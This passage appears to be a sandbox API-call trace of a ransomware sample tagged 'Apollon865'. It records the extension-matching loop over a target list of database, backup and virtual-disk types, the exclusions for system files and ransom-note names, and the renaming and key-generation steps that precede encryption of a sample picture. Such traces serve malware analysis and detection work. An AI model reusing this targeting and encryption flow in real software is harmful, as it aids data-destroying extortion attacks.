	[0041.682] lstrlenW (lpString="qvd") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0041.682] lstrlenW (lpString="rbf") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0041.682] lstrlenW (lpString="rctd") returned 4
	[0041.682] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0041.682] lstrlenW (lpString="rod") returned 3
	[0041.682] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0041.682] lstrlenW (lpString="rodx") returned 4
	[0041.683] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0041.683] lstrlenW (lpString="rpd") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0041.683] lstrlenW (lpString="rsd") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0041.683] lstrlenW (lpString="sas7bdat") returned 8
	[0041.683] lstrcmpiW (lpString1="emum.jpg", lpString2="sas7bdat") returned -1
	[0041.683] lstrlenW (lpString="sbf") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0041.683] lstrlenW (lpString="scx") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0041.683] lstrlenW (lpString="sdb") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0041.683] lstrlenW (lpString="sdc") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0041.683] lstrlenW (lpString="sdf") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0041.683] lstrlenW (lpString="sis") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0041.683] lstrlenW (lpString="spq") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0041.683] lstrlenW (lpString="te") returned 2
	[0041.683] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0041.683] lstrlenW (lpString="teacher") returned 7
	[0041.683] lstrcmpiW (lpString1="mum.jpg", lpString2="teacher") returned -1
	[0041.683] lstrlenW (lpString="tmd") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0041.683] lstrlenW (lpString="tps") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0041.683] lstrlenW (lpString="trc") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.683] lstrlenW (lpString="trc") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.683] lstrlenW (lpString="trm") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0041.683] lstrlenW (lpString="udb") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0041.683] lstrlenW (lpString="udl") returned 3
	[0041.683] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0041.684] lstrlenW (lpString="usr") returned 3
	[0041.684] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0041.684] lstrlenW (lpString="v12") returned 3
	[0041.684] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0041.690] lstrlenW (lpString="vis") returned 3
	[0041.690] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0041.692] lstrlenW (lpString="vpd") returned 3
	[0041.692] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0041.692] lstrlenW (lpString="vvv") returned 3
	[0041.692] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0041.692] lstrlenW (lpString="wdb") returned 3
	[0041.692] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0041.692] lstrlenW (lpString="wmdb") returned 4
	[0041.693] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0041.693] lstrlenW (lpString="wrk") returned 3
	[0041.693] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0041.693] lstrlenW (lpString="xdb") returned 3
	[0041.693] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0041.693] lstrlenW (lpString="xld") returned 3
	[0041.693] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0041.693] lstrlenW (lpString="xmlff") returned 5
	[0041.693] lstrcmpiW (lpString1="m.jpg", lpString2="xmlff") returned -1
	[0041.693] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Apollon865") returned 69
	[0041.693] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.apollon865"), dwFlags=0x1) returned 1
	[0041.696] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.696] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=879394) returned 1
	[0041.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.696] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.697] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.697] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.697] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6e30, lpName=0x0) returned 0x150
	[0041.698] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6e30) returned 0x2a80000
	[0041.735] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.735] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.735] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.736] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0041.744] CloseHandle (hObject=0x150) returned 1
	[0041.744] CloseHandle (hObject=0x15c) returned 1
	[0041.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.760] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2=".") returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="..") returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="windows") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="bootmgr") returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="temp") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="pagefile.sys") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="boot") returned 1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="ids.txt") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="ntuser.dat") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="perflogs") returned -1
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2="MSBuild") returned -1
	[0041.760] lstrlenW (lpString="Desert.jpg") returned 10
	[0041.760] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned 58
	[0041.760] lstrcpyW (in: lpString1=0x119e65a, lpString2="Desert.jpg" | out: lpString1="Desert.jpg") returned="Desert.jpg"
	[0041.760] lstrlenW (lpString="Desert.jpg") returned 10
	[0041.760] lstrlenW (lpString="Apollon865") returned 10
	[0041.760] lstrlenW (lpString=".dll") returned 4
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2=".dll") returned 1
	[0041.760] lstrlenW (lpString=".lnk") returned 4
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2=".lnk") returned 1
	[0041.760] lstrlenW (lpString=".ini") returned 4
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2=".ini") returned 1
	[0041.760] lstrlenW (lpString=".sys") returned 4
	[0041.760] lstrcmpiW (lpString1="Desert.jpg", lpString2=".sys") returned 1
	[0041.760] lstrlenW (lpString="Desert.jpg") returned 10
	[0041.760] lstrlenW (lpString="bak") returned 3
	[0041.760] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0041.760] lstrlenW (lpString="ba_") returned 3
	[0041.760] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0041.760] lstrlenW (lpString="dbb") returned 3
	[0041.760] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0041.761] lstrlenW (lpString="vmdk") returned 4
	[0041.761] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0041.761] lstrlenW (lpString="rar") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0041.761] lstrlenW (lpString="zip") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0041.761] lstrlenW (lpString="tgz") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0041.761] lstrlenW (lpString="vbox") returned 4
	[0041.761] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0041.761] lstrlenW (lpString="vdi") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0041.761] lstrlenW (lpString="vhd") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0041.761] lstrlenW (lpString="vhdx") returned 4
	[0041.761] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0041.761] lstrlenW (lpString="avhd") returned 4
	[0041.761] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0041.761] lstrlenW (lpString="db") returned 2
	[0041.761] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0041.761] lstrlenW (lpString="db2") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0041.761] lstrlenW (lpString="db3") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0041.761] lstrlenW (lpString="dbf") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0041.761] lstrlenW (lpString="mdf") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0041.761] lstrlenW (lpString="mdb") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0041.761] lstrlenW (lpString="sql") returned 3
	[0041.761] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0041.761] lstrlenW (lpString="sqlite") returned 6
	[0041.761] lstrcmpiW (lpString1="rt.jpg", lpString2="sqlite") returned -1
	[0041.761] lstrlenW (lpString="sqlite3") returned 7
	[0041.761] lstrcmpiW (lpString1="ert.jpg", lpString2="sqlite3") returned -1
	[0041.761] lstrlenW (lpString="sqlitedb") returned 8
	[0041.761] lstrcmpiW (lpString1="sert.jpg", lpString2="sqlitedb") returned -1
	[0041.762] lstrlenW (lpString="xml") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0041.762] lstrlenW (lpString="$er") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0041.762] lstrlenW (lpString="4dd") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0041.762] lstrlenW (lpString="4dl") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0041.762] lstrlenW (lpString="^^^") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0041.762] lstrlenW (lpString="abs") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0041.762] lstrlenW (lpString="abx") returned 3
	[0041.762] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0041.762] lstrlenW (lpString="accdb") returned 5
	[0041.762] lstrcmpiW (lpString1="t.jpg", lpString2="accdb") returned 1
	[0041.762] lstrlenW (lpString="accdc") returned 5
	[0041.762] lstrcmpiW (lpString1="t.jpg", lpString2="accdc") returned 1
	[0041.762] lstrlenW (lpString="accde") returned 5
	[0041.762] lstrcmpiW (lpString1="t.jpg", lpString2="accde") returned 1
	[0041.762] lstrlenW (lpString="accdr") returned 5
	[0041.762] lstrcmpiW (lpString1="t.jpg", lpString2="accdr") returned 1
	[0041.762] lstrlenW (lpString="accdt") returned 5
	[0041.763] lstrcmpiW (lpString1="t.jpg", lpString2="accdt") returned 1
	[0041.763] lstrlenW (lpString="accdw") returned 5
	[0041.763] lstrcmpiW (lpString1="t.jpg", lpString2="accdw") returned 1
	[0041.763] lstrlenW (lpString="accft") returned 5
	[0041.763] lstrcmpiW (lpString1="t.jpg", lpString2="accft") returned 1
	[0041.763] lstrlenW (lpString="adb") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.763] lstrlenW (lpString="adb") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.763] lstrlenW (lpString="ade") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0041.763] lstrlenW (lpString="adf") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0041.763] lstrlenW (lpString="adn") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0041.763] lstrlenW (lpString="adp") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0041.763] lstrlenW (lpString="alf") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0041.763] lstrlenW (lpString="ask") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0041.763] lstrlenW (lpString="btr") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0041.763] lstrlenW (lpString="cat") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0041.763] lstrlenW (lpString="cdb") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0041.763] lstrlenW (lpString="ckp") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0041.763] lstrlenW (lpString="cma") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0041.763] lstrlenW (lpString="cpd") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0041.763] lstrlenW (lpString="dacpac") returned 6
	[0041.763] lstrcmpiW (lpString1="rt.jpg", lpString2="dacpac") returned 1
	[0041.763] lstrlenW (lpString="dad") returned 3
	[0041.763] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0041.763] lstrlenW (lpString="dadiagrams") returned 10
	[0041.764] lstrlenW (lpString="daschema") returned 8
	[0041.764] lstrcmpiW (lpString1="sert.jpg", lpString2="daschema") returned 1
	[0041.764] lstrlenW (lpString="db-journal") returned 10
	[0041.764] lstrlenW (lpString="db-shm") returned 6
	[0041.764] lstrcmpiW (lpString1="rt.jpg", lpString2="db-shm") returned 1
	[0041.764] lstrlenW (lpString="db-wal") returned 6
	[0041.764] lstrcmpiW (lpString1="rt.jpg", lpString2="db-wal") returned 1
	[0041.764] lstrlenW (lpString="dbc") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0041.764] lstrlenW (lpString="dbs") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0041.764] lstrlenW (lpString="dbt") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0041.764] lstrlenW (lpString="dbv") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0041.764] lstrlenW (lpString="dbx") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0041.764] lstrlenW (lpString="dcb") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0041.764] lstrlenW (lpString="dct") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0041.764] lstrlenW (lpString="dcx") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0041.764] lstrlenW (lpString="ddl") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0041.764] lstrlenW (lpString="dlis") returned 4
	[0041.764] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0041.764] lstrlenW (lpString="dp1") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0041.764] lstrlenW (lpString="dqy") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0041.764] lstrlenW (lpString="dsk") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0041.764] lstrlenW (lpString="dsn") returned 3
	[0041.764] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0041.764] lstrlenW (lpString="dtsx") returned 4
	[0041.764] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0041.764] lstrlenW (lpString="dxl") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0041.765] lstrlenW (lpString="eco") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0041.765] lstrlenW (lpString="ecx") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0041.765] lstrlenW (lpString="edb") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0041.765] lstrlenW (lpString="epim") returned 4
	[0041.765] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0041.765] lstrlenW (lpString="fcd") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0041.765] lstrlenW (lpString="fdb") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0041.765] lstrlenW (lpString="fic") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0041.765] lstrlenW (lpString="flexolibrary") returned 12
	[0041.765] lstrlenW (lpString="fm5") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0041.765] lstrlenW (lpString="fmp") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0041.765] lstrlenW (lpString="fmp12") returned 5
	[0041.765] lstrcmpiW (lpString1="t.jpg", lpString2="fmp12") returned 1
	[0041.765] lstrlenW (lpString="fmpsl") returned 5
	[0041.765] lstrcmpiW (lpString1="t.jpg", lpString2="fmpsl") returned 1
	[0041.765] lstrlenW (lpString="fol") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0041.765] lstrlenW (lpString="fp3") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0041.765] lstrlenW (lpString="fp4") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0041.765] lstrlenW (lpString="fp5") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0041.765] lstrlenW (lpString="fp7") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0041.765] lstrlenW (lpString="fpt") returned 3
	[0041.765] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0041.765] lstrlenW (lpString="frm") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0041.766] lstrlenW (lpString="gdb") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.766] lstrlenW (lpString="gdb") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.766] lstrlenW (lpString="grdb") returned 4
	[0041.766] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0041.766] lstrlenW (lpString="gwi") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0041.766] lstrlenW (lpString="hdb") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0041.766] lstrlenW (lpString="his") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0041.766] lstrlenW (lpString="ib") returned 2
	[0041.766] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0041.766] lstrlenW (lpString="idb") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0041.766] lstrlenW (lpString="ihx") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0041.766] lstrlenW (lpString="itdb") returned 4
	[0041.766] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0041.766] lstrlenW (lpString="itw") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0041.766] lstrlenW (lpString="jet") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0041.766] lstrlenW (lpString="jtx") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0041.766] lstrlenW (lpString="kdb") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0041.766] lstrlenW (lpString="kexi") returned 4
	[0041.766] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0041.766] lstrlenW (lpString="kexic") returned 5
	[0041.766] lstrcmpiW (lpString1="t.jpg", lpString2="kexic") returned 1
	[0041.766] lstrlenW (lpString="kexis") returned 5
	[0041.766] lstrcmpiW (lpString1="t.jpg", lpString2="kexis") returned 1
	[0041.766] lstrlenW (lpString="lgc") returned 3
	[0041.766] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0041.766] lstrlenW (lpString="lwx") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0041.767] lstrlenW (lpString="maf") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0041.767] lstrlenW (lpString="maq") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0041.767] lstrlenW (lpString="mar") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0041.767] lstrlenW (lpString="marshal") returned 7
	[0041.767] lstrcmpiW (lpString1="ert.jpg", lpString2="marshal") returned -1
	[0041.767] lstrlenW (lpString="mas") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0041.767] lstrlenW (lpString="mav") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0041.767] lstrlenW (lpString="maw") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0041.767] lstrlenW (lpString="mdbhtml") returned 7
	[0041.767] lstrcmpiW (lpString1="ert.jpg", lpString2="mdbhtml") returned -1
	[0041.767] lstrlenW (lpString="mdn") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0041.767] lstrlenW (lpString="mdt") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0041.767] lstrlenW (lpString="mfd") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0041.767] lstrlenW (lpString="mpd") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0041.767] lstrlenW (lpString="mrg") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0041.767] lstrlenW (lpString="mud") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0041.767] lstrlenW (lpString="mwb") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0041.767] lstrlenW (lpString="myd") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0041.767] lstrlenW (lpString="ndf") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0041.767] lstrlenW (lpString="nnt") returned 3
	[0041.767] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0041.767] lstrlenW (lpString="nrmlib") returned 6
	[0041.768] lstrcmpiW (lpString1="rt.jpg", lpString2="nrmlib") returned 1
	[0041.768] lstrlenW (lpString="ns2") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0041.768] lstrlenW (lpString="ns3") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0041.768] lstrlenW (lpString="ns4") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0041.768] lstrlenW (lpString="nsf") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0041.768] lstrlenW (lpString="nv") returned 2
	[0041.768] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0041.768] lstrlenW (lpString="nv2") returned 3
	[0041.768] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0041.768] lstrlenW (lpString="nwdb") returned 4
	[0041.768] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0041.768] lstrlenW (lpString="nyf") returned 3
